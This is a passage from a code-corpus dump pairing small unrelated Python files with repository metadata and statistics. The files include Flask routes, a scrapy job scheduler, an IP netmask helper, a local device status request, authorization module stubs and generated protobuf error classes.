"MIT"
] | null | null | null | tests/conftest.py | lucasvieirasilva/aws-codeartifact-poetry | ad224f8e403373bc6336d362ce11ba84c2bad616 | [
"MIT"
] | null | null | null | tests/conftest.py | lucasvieirasilva/aws-codeartifact-poetry | ad224f8e403373bc6336d362ce11ba84c2bad616 | [
"MIT"
] | null | null | null | """Unit tests configuration."""
pytest_plugins = [
"tests.fixtures.aws",
"tests.fixtures.click"
]
| 15.285714 | 31 | 0.654206 | 11 | 107 | 6.272727 | 0.727273 | 0.376812 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168224 | 107 | 6 | 32 | 17.833333 | 0.775281 | 0.233645 | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
93b9d4f29033bbe7cfd69ef3db9ff4156712af24 | 152 | py | Python | groot-jr/weather/config.py | henryse/pi-weather-pro | edc44820295492a0437ec36a7a868bb56c309f77 | [
"Apache-2.0"
] | null | null | null | groot-jr/weather/config.py | henryse/pi-weather-pro | edc44820295492a0437ec36a7a868bb56c309f77 | [
"Apache-2.0"
] | null | null | null | groot-jr/weather/config.py | henryse/pi-weather-pro | edc44820295492a0437ec36a7a868bb56c309f77 | [
"Apache-2.0"
] | null | null | null | # device present global variables
DS3231_Present = False
BMP280_Present = False
AM2315_Present = False
ADS1015_Present = False
ADS1115_Present = False
| 19 | 33 | 0.822368 | 19 | 152 | 6.315789 | 0.526316 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145038 | 0.138158 | 152 | 7 | 34 | 21.714286 | 0.770992 | 0.203947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
93c2536b36b1a87cd72d2706a3a07f7746826545 | 606 | py | Python | src/tools/vttests/template.py | Ghosty141/Terminal | c1220435bea5790ea3596b30568f724b74ce5dda | [
"MIT"
] | 34,359 | 2019-05-06T21:04:42.000Z | 2019-05-14T22:06:43.000Z | src/tools/vttests/template.py | Ghosty141/Terminal | c1220435bea5790ea3596b30568f724b74ce5dda | [
"MIT"
] | 356 | 2019-05-06T21:03:35.000Z | 2019-05-14T21:38:47.000Z | src/tools/vttests/template.py | Ghosty141/Terminal | c1220435bea5790ea3596b30568f724b74ce5dda | [
"MIT"
] | 3,164 | 2019-05-06T21:06:01.000Z | 2019-05-14T20:25:52.000Z | ################################################################################
# #
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
# #
################################################################################
import sys
import time # time.sleep is in seconds
from common import *
# Run this file with:
# python name-of-file.py
if __name__ == '__main__':
clear_all()
print('This is the VT Test template.')
| 33.666667 | 80 | 0.328383 | 42 | 606 | 4.52381 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.356436 | 606 | 17 | 81 | 35.647059 | 0.487179 | 0.356436 | 0 | 0 | 0 | 0 | 0.262411 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
93c28270e67ccd53c54c39a1702a70be67174ca2 | 445 | py | Python | spiders/main.py | goozp/ths-spider-example | 13a9d53d10d1346ccbb1173ccfb1a0fcfe003aa8 | [
"MIT"
] | 7 | 2020-11-02T16:33:44.000Z | 2022-03-10T08:40:18.000Z | spiders/main.py | goozp/ths-spider-example | 13a9d53d10d1346ccbb1173ccfb1a0fcfe003aa8 | [
"MIT"
] | null | null | null | spiders/main.py | goozp/ths-spider-example | 13a9d53d10d1346ccbb1173ccfb1a0fcfe003aa8 | [
"MIT"
] | 2 | 2020-11-23T05:58:51.000Z | 2020-12-19T13:07:10.000Z |
import os
import time
import schedule
def job():
os.system("scrapy crawl ths-stock")
os.system("scrapy crawl ths-stock-daily")
os.system("scrapy crawl ths-stock-news")
def newsJob():
os.system("scrapy crawl ths-news")
if __name__ == "__main__":
newsJob()
job()
schedule.every().day.at('21:00').do(job)
schedule.every(2).minutes.do(newsJob)
while True:
schedule.run_pending()
time.sleep(1) | 20.227273 | 45 | 0.644944 | 63 | 445 | 4.412698 | 0.492063 | 0.115108 | 0.201439 | 0.273381 | 0.370504 | 0.291367 | 0 | 0 | 0 | 0 | 0 | 0.016901 | 0.202247 | 445 | 22 | 46 | 20.227273 | 0.766197 | 0 | 0 | 0 | 0 | 0 | 0.249438 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | true | 0 | 0.176471 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
93ca0a67154f055e2a32fd622d99086cc8fad6af | 1,115 | py | Python | corefacility/authorizations/google/__init__.py | serik1987/corefacility | 78d84e19403361e83ef562e738473849f9133bef | [
"RSA-MD"
] | null | null | null | corefacility/authorizations/google/__init__.py | serik1987/corefacility | 78d84e19403361e83ef562e738473849f9133bef | [
"RSA-MD"
] | null | null | null | corefacility/authorizations/google/__init__.py | serik1987/corefacility | 78d84e19403361e83ef562e738473849f9133bef | [
"RSA-MD"
] | null | null | null | from core.entity.entry_points.authorizations import AuthorizationModule
class App(AuthorizationModule):
"""
Provides functionality for authorization from Google Accounts
"""
def get_alias(self):
"""
The alias is Google
:return:
"""
return "google"
def get_name(self):
"""
The name is "Authorization through Google"
:return: the widget name
"""
return "Authorization through Google"
def get_html_code(self):
"""
The icon is <div> with two standard CSS styles
defined in the 'core' module
:return: the authorization method icon
"""
return "<div class='auth google'></div>"
def is_enabled_by_default(self):
"""
By default, such method is disabled since it shall be properly adjusted to be enabled
:return: False
"""
return False
def try_ui_authorization(self, request):
pass
def try_api_authorization(self, request):
pass
def process_auxiliary_request(self, request):
pass
| 22.3 | 93 | 0.605381 | 123 | 1,115 | 5.373984 | 0.487805 | 0.027231 | 0.068079 | 0.08472 | 0.093797 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.314798 | 1,115 | 49 | 94 | 22.755102 | 0.865183 | 0.339013 | 0 | 0.1875 | 0 | 0 | 0.110357 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4375 | false | 0.1875 | 0.0625 | 0 | 0.8125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
93e17dbfd71ac81ee6510dc3df925e2dbca37c8e | 314 | py | Python | incdbscan/_object.py | DataOmbudsman/incdbscan | cc7e3de2143c9c961c000735e95b3c0d1e5cac45 | [
"BSD-3-Clause"
] | 23 | 2022-03-07T19:59:53.000Z | 2022-03-30T18:18:19.000Z | incdbscan/_object.py | DataOmbudsman/incdbscan | cc7e3de2143c9c961c000735e95b3c0d1e5cac45 | [
"BSD-3-Clause"
] | null | null | null | incdbscan/_object.py | DataOmbudsman/incdbscan | cc7e3de2143c9c961c000735e95b3c0d1e5cac45 | [
"BSD-3-Clause"
] | 1 | 2022-03-25T12:35:18.000Z | 2022-03-25T12:35:18.000Z | ObjectId = int
class Object:
def __init__(self, id_):
self.id: ObjectId = id_
self.count = 1
self.neighbors = {self}
@property
def neighbor_count(self):
return sum([neighbor.count for neighbor in self.neighbors])
def __repr__(self):
return f'{self.id}_'
| 19.625 | 67 | 0.605096 | 39 | 314 | 4.564103 | 0.487179 | 0.101124 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004484 | 0.289809 | 314 | 15 | 68 | 20.933333 | 0.793722 | 0 | 0 | 0 | 0 | 0 | 0.031847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0 | 0.181818 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
93fdc2eb39ca2e7155243919cae6285c7d6c1fbe | 626 | py | Python | src/providers/fabricmc.py | TimeConqueror/mappificator | bfb506d8e68cf0df954d3208853db2a7ecc3c396 | [
"MIT"
] | 9 | 2020-10-20T16:13:28.000Z | 2021-07-19T13:35:37.000Z | src/providers/fabricmc.py | TimeConqueror/mappificator | bfb506d8e68cf0df954d3208853db2a7ecc3c396 | [
"MIT"
] | null | null | null | src/providers/fabricmc.py | TimeConqueror/mappificator | bfb506d8e68cf0df954d3208853db2a7ecc3c396 | [
"MIT"
] | 1 | 2020-11-04T15:41:07.000Z | 2020-11-04T15:41:07.000Z | # Fabric
# Produces Intermediary (unique mappings) and Yarn (named mappings)
# https://github.com/FabricMC/
from parsing import tiny_parser
from util import mapping_downloader
from util.mappings import Mappings
def read_intermediary(mc_version: str) -> Mappings:
intermediary = mapping_downloader.load_fabric_intermediary(mc_version)
return tiny_parser.parse_tiny(intermediary)
def read_yarn(mc_version: str, yarn_version: str) -> Mappings:
"""
Source set is intermediary, Mappings are yarn
"""
yarn = mapping_downloader.load_yarn(mc_version, yarn_version)
return tiny_parser.parse_tiny(yarn)
| 29.809524 | 74 | 0.776358 | 81 | 626 | 5.765432 | 0.395062 | 0.077088 | 0.089936 | 0.098501 | 0.137045 | 0.137045 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14377 | 626 | 20 | 75 | 31.3 | 0.871269 | 0.236422 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.333333 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
93fe851e41c38bce5064a0641efdfb1e075799e8 | 736 | py | Python | Flask_01/06_url_map.py | libin-c/Flask | 522c28f42fe24e3d3ecf99e1c74d1ab035725103 | [
"MIT"
] | null | null | null | Flask_01/06_url_map.py | libin-c/Flask | 522c28f42fe24e3d3ecf99e1c74d1ab035725103 | [
"MIT"
] | null | null | null | Flask_01/06_url_map.py | libin-c/Flask | 522c28f42fe24e3d3ecf99e1c74d1ab035725103 | [
"MIT"
] | null | null | null | import json
from flask import Flask
app = Flask(__name__)
# @app.route('/')
# def route_map():
# """
# 主视图,返回所有视图网址
# """
# rules_iterator = app.url_map.iter_rules()
# return json.dumps({rule.endpoint: rule.rule for rule in rules_iterator})
@app.route('/')
def route_map():
"""
编写路由函数
url_map Map对象 保存了全部的路由信息
app.url_map.iter_rules() 获得map对象中的路由列表
:return:
"""
return json.dumps({'api':{item.rule:item.endpoint for item in app.url_map.iter_rules()}})
@app.route('/view/1')
def View_one():
return 'View_one'
@app.route('/view/2')
def View_two():
return 'View_two'
@app.route('/view/3')
def View_three():
return 'View_three'
if __name__ == '__main__':
app.run()
| 18.4 | 93 | 0.631793 | 103 | 736 | 4.23301 | 0.359223 | 0.091743 | 0.061927 | 0.08945 | 0.211009 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005076 | 0.197011 | 736 | 39 | 94 | 18.871795 | 0.732657 | 0.366848 | 0 | 0 | 0 | 0 | 0.136574 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.117647 | 0.176471 | 0.588235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9e0900b385fd3b42e70d7e6202852a1a6aa487a8 | 588 | py | Python | get_dotted_mask_split.py | MichalMucek/IP-Subnet-Calculator | c1c1e93a1180504320a7202cdcfeb334edd988e9 | [
"MIT"
] | 1 | 2019-02-02T15:17:11.000Z | 2019-02-02T15:17:11.000Z | get_dotted_mask_split.py | MichalMucek/IP-Subnet-Calculator | c1c1e93a1180504320a7202cdcfeb334edd988e9 | [
"MIT"
] | null | null | null | get_dotted_mask_split.py | MichalMucek/IP-Subnet-Calculator | c1c1e93a1180504320a7202cdcfeb334edd988e9 | [
"MIT"
] | null | null | null | def get_dotted_mask_split(ip_address_mask_cidr):
p = int(ip_address_mask_cidr)
ip_address_mask_dotted_split = []
for i in range(4):
if p >= 0:
if p - 8 >= 0:
ip_address_mask_dotted_split.append('255')
p -= 8
else:
byte = 256 - pow(2, 8 - p)
byte_str = str(byte)
ip_address_mask_dotted_split.append(byte_str)
p -= 8
else:
ip_address_mask_dotted_split.append('0')
return ip_address_mask_dotted_split
| 26.727273 | 62 | 0.518707 | 76 | 588 | 3.605263 | 0.355263 | 0.229927 | 0.332117 | 0.346715 | 0.50365 | 0.328467 | 0 | 0 | 0 | 0 | 0 | 0.042614 | 0.401361 | 588 | 21 | 63 | 28 | 0.735795 | 0 | 0 | 0.25 | 0 | 0 | 0.007055 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f50caf64dfcc705d0b62ec9d02f0e12e4c6486f4 | 371 | py | Python | pyasv/lib/cobham/cobham.py | CCOMJHC/ASVG_tools | 94531ca83ac3a2fd3394b807c46b871be48b2512 | [
"BSD-2-Clause"
] | null | null | null | pyasv/lib/cobham/cobham.py | CCOMJHC/ASVG_tools | 94531ca83ac3a2fd3394b807c46b871be48b2512 | [
"BSD-2-Clause"
] | null | null | null | pyasv/lib/cobham/cobham.py | CCOMJHC/ASVG_tools | 94531ca83ac3a2fd3394b807c46b871be48b2512 | [
"BSD-2-Clause"
] | 1 | 2018-10-01T16:33:05.000Z | 2018-10-01T16:33:05.000Z | #!/usr/type/env python
# Val Schmidt
# Center for Coastal and Ocean Mapping
# University of New Hampshire
# 2017
import datetime as dt
import url
import json
import requests
from requests.auth import HTTPBasicAuth
payload = {'user':'unmanned','password':'unmanned'}
r = requests.get("http://192.168.100.51/status.json",auth=("unmanned","unmanned"))
data = r.json()
| 18.55 | 82 | 0.733154 | 53 | 371 | 5.132075 | 0.754717 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04644 | 0.12938 | 371 | 19 | 83 | 19.526316 | 0.795666 | 0.277628 | 0 | 0 | 0 | 0 | 0.293893 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.125 | 0.625 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
f511e0797c5f2a822e705ec3154953abbad73944 | 124 | py | Python | Semester 2/Programs/Python/filing.py | sufiyaanusmani/FAST-NUCES | 885fa821fada467884fe37fd75a3ced5af3d9e47 | [
"MIT"
] | null | null | null | Semester 2/Programs/Python/filing.py | sufiyaanusmani/FAST-NUCES | 885fa821fada467884fe37fd75a3ced5af3d9e47 | [
"MIT"
] | null | null | null | Semester 2/Programs/Python/filing.py | sufiyaanusmani/FAST-NUCES | 885fa821fada467884fe37fd75a3ced5af3d9e47 | [
"MIT"
] | null | null | null | from pathlib import Path
# absolute path C:\Program Files\Microsoft
# relative path
path = Path("ecommerce")
path.exists() | 17.714286 | 42 | 0.758065 | 17 | 124 | 5.529412 | 0.705882 | 0.170213 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137097 | 124 | 7 | 43 | 17.714286 | 0.878505 | 0.435484 | 0 | 0 | 0 | 0 | 0.132353 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f5150eaf32b5edbe72e6406de73bafe5c24e4e6c | 87 | py | Python | InteractiveProgramming/quiz3.10.py | mr-ice/pipython | ea27af520946cb710cb717815be625489fc8a1a3 | [
"MIT"
] | null | null | null | InteractiveProgramming/quiz3.10.py | mr-ice/pipython | ea27af520946cb710cb717815be625489fc8a1a3 | [
"MIT"
] | null | null | null | InteractiveProgramming/quiz3.10.py | mr-ice/pipython | ea27af520946cb710cb717815be625489fc8a1a3 | [
"MIT"
] | null | null | null | str = 'Hello Bob'
istr = 0
try:
istr = int(astr)
except:
istr = -1
print istr
| 9.666667 | 20 | 0.574713 | 14 | 87 | 3.571429 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032787 | 0.298851 | 87 | 8 | 21 | 10.875 | 0.786885 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f524e75197868de71943ee96dd536538dd9ade81 | 197 | py | Python | optimizations/nersc_profiling/sorting/coargsort/1M/coargsort_1M.py | andrejjakovljevic/arkouda-optimizations | 233ea5b970cea89c853186a2f297b4bdf11d836d | [
"MIT"
] | null | null | null | optimizations/nersc_profiling/sorting/coargsort/1M/coargsort_1M.py | andrejjakovljevic/arkouda-optimizations | 233ea5b970cea89c853186a2f297b4bdf11d836d | [
"MIT"
] | null | null | null | optimizations/nersc_profiling/sorting/coargsort/1M/coargsort_1M.py | andrejjakovljevic/arkouda-optimizations | 233ea5b970cea89c853186a2f297b4bdf11d836d | [
"MIT"
] | null | null | null | import arkouda as ak
ak.connect(connect_url='tcp://nid00747:5555')
A = ak.randint(0, 10000, 1000000)
B = ak.randint(0, 10000, 1000000)
for x in range(1000):
ak.coargsort([A, B])
ak.shutdown()
| 21.888889 | 45 | 0.690355 | 34 | 197 | 3.970588 | 0.647059 | 0.133333 | 0.148148 | 0.222222 | 0.325926 | 0 | 0 | 0 | 0 | 0 | 0 | 0.229412 | 0.137056 | 197 | 8 | 46 | 24.625 | 0.564706 | 0 | 0 | 0 | 0 | 0 | 0.096447 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f5377ad13c19cd01b027e91654d57603064efbe5 | 753 | py | Python | venv/webapp/app.py | Joes-BitGit/school_dashboard | 53da3d2f5beee4fb1c7fb007abfad92162c14d11 | [
"MIT"
] | null | null | null | venv/webapp/app.py | Joes-BitGit/school_dashboard | 53da3d2f5beee4fb1c7fb007abfad92162c14d11 | [
"MIT"
] | null | null | null | venv/webapp/app.py | Joes-BitGit/school_dashboard | 53da3d2f5beee4fb1c7fb007abfad92162c14d11 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, jsonify
app = Flask(__name__)
@app.route('/')
@app.route('/login')
def home():
return render_template('index.html')
@app.route('/student/dash')
def student_dash():
return render_template('student_dash.html')
@app.route('/professor/dash')
def professor_dash():
return render_template('professor_dash.html')
@app.route('/student/class')
def student_class():
return render_template('student_class.html')
@app.route('/professor/class')
def professor_class():
return render_template('professor_class.html')
@app.route('/student/<username>')
def profile(username):
return render_template('username.html', username=username)
if __name__ == '__main__':
app.run(debug=True)
| 22.818182 | 62 | 0.727756 | 96 | 753 | 5.427083 | 0.28125 | 0.1881 | 0.230326 | 0.109405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111554 | 753 | 32 | 63 | 23.53125 | 0.778774 | 0 | 0 | 0 | 0 | 0 | 0.250996 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.26087 | false | 0 | 0.043478 | 0.26087 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
f543a362d00e9b2e76cc10de5f249c7d5f367ae0 | 349 | py | Python | tk_nn_classifier/classifiers/__init__.py | tilaboy/recruitment-agency-detector | 9a76d4a9284ef73194dfac80ba2ce12d6941220a | [
"MIT"
] | 1 | 2020-09-21T02:28:22.000Z | 2020-09-21T02:28:22.000Z | tk_nn_classifier/classifiers/__init__.py | tilaboy/recruitment-agency-detector | 9a76d4a9284ef73194dfac80ba2ce12d6941220a | [
"MIT"
] | 4 | 2020-11-17T07:29:10.000Z | 2022-02-10T00:40:07.000Z | tk_nn_classifier/classifiers/__init__.py | tilaboy/recruitment-agency-detector | 9a76d4a9284ef73194dfac80ba2ce12d6941220a | [
"MIT"
] | null | null | null | '''The classifiers in different packages'''
from .spacy_classifier import SpacyClassifier
from .tf_classifier import TFClassifier
from .keras_classifier import KerasClassifier
from .tf_multi_feat_classifier import TFMultiFeatClassifier
__all__ = ['SpacyClassifier', 'TFClassifier', 'KerasClassifier', 'TFMultiFeatClassifier']
name = 'classifiers'
| 34.9 | 89 | 0.830946 | 34 | 349 | 8.235294 | 0.558824 | 0.228571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091691 | 349 | 9 | 90 | 38.777778 | 0.883281 | 0.106017 | 0 | 0 | 0 | 0 | 0.24183 | 0.068627 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f54e879c70e75c31ab368cbfa16240a309a061aa | 243 | py | Python | xplane_airports/_cached_prop.py | marangonico/xplane_airports | 00259ab889d9c8e1af2f0be54e1ca7bd4b9ffe1f | [
"MIT"
] | null | null | null | xplane_airports/_cached_prop.py | marangonico/xplane_airports | 00259ab889d9c8e1af2f0be54e1ca7bd4b9ffe1f | [
"MIT"
] | null | null | null | xplane_airports/_cached_prop.py | marangonico/xplane_airports | 00259ab889d9c8e1af2f0be54e1ca7bd4b9ffe1f | [
"MIT"
] | null | null | null | # Python 3.6-compatible wrapper for using cached_property
# If you're pre-Python 3.8, you get no caching. You'll be okay.
try:
import functools
apt_cached_property = functools.cached_property
except:
apt_cached_property = property
| 30.375 | 63 | 0.765432 | 38 | 243 | 4.736842 | 0.657895 | 0.311111 | 0.188889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019802 | 0.168724 | 243 | 7 | 64 | 34.714286 | 0.871287 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f5524e68fdb4f3c5994cbbdd0977057378266dd3 | 68 | py | Python | squiRL/common/__init__.py | bastRL/bastRL | 93f49019c67c13597cef8dd35c20ff612b23dce8 | [
"MIT"
] | 4 | 2020-10-15T15:44:49.000Z | 2022-03-14T15:22:52.000Z | squiRL/common/__init__.py | bastRL/bastRL | 93f49019c67c13597cef8dd35c20ff612b23dce8 | [
"MIT"
] | 7 | 2020-10-13T17:57:19.000Z | 2021-03-31T23:12:21.000Z | squiRL/common/__init__.py | squiReinforcementLearning/squiRL | 93f49019c67c13597cef8dd35c20ff612b23dce8 | [
"MIT"
] | null | null | null | from squiRL.common.policies import MLP
reg_policies = {'MLP': MLP}
| 17 | 38 | 0.75 | 10 | 68 | 5 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132353 | 68 | 3 | 39 | 22.666667 | 0.847458 | 0 | 0 | 0 | 0 | 0 | 0.044118 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f55531e72350aa15c756af233970136b4a0aa26e | 1,098 | py | Python | python/nitricapi/nitric/error/v1/__init__.py | nitrictech/apis | 272a664fb0533ea1c56ea9867ad0f1b2302872e0 | [
"Apache-2.0"
] | 3 | 2021-09-21T04:12:57.000Z | 2022-02-25T00:02:36.000Z | python/nitricapi/nitric/error/v1/__init__.py | nitrictech/apis | 272a664fb0533ea1c56ea9867ad0f1b2302872e0 | [
"Apache-2.0"
] | null | null | null | python/nitricapi/nitric/error/v1/__init__.py | nitrictech/apis | 272a664fb0533ea1c56ea9867ad0f1b2302872e0 | [
"Apache-2.0"
] | 1 | 2022-03-26T18:06:22.000Z | 2022-03-26T18:06:22.000Z | # Generated by the protocol buffer compiler. DO NOT EDIT!
# sources: proto/error/v1/error.proto
# plugin: python-betterproto
from dataclasses import dataclass
from typing import Dict
import betterproto
from betterproto.grpc.grpclib_server import ServiceBase
@dataclass(eq=False, repr=False)
class ErrorScope(betterproto.Message):
# The API service invoked, e.g. 'Service.Method'.
service: str = betterproto.string_field(1)
# The plugin method invoked, e.g. 'PluginService.Method'.
plugin: str = betterproto.string_field(2)
# The plugin method arguments, ensure only non-sensitive data is specified.
args: Dict[str, str] = betterproto.map_field(
3, betterproto.TYPE_STRING, betterproto.TYPE_STRING
)
@dataclass(eq=False, repr=False)
class ErrorDetails(betterproto.Message):
# The developer error message, explaining the error and ideally solution.
message: str = betterproto.string_field(1)
# The error root cause.
cause: str = betterproto.string_field(2)
# The scope of the error.
scope: "ErrorScope" = betterproto.message_field(3)
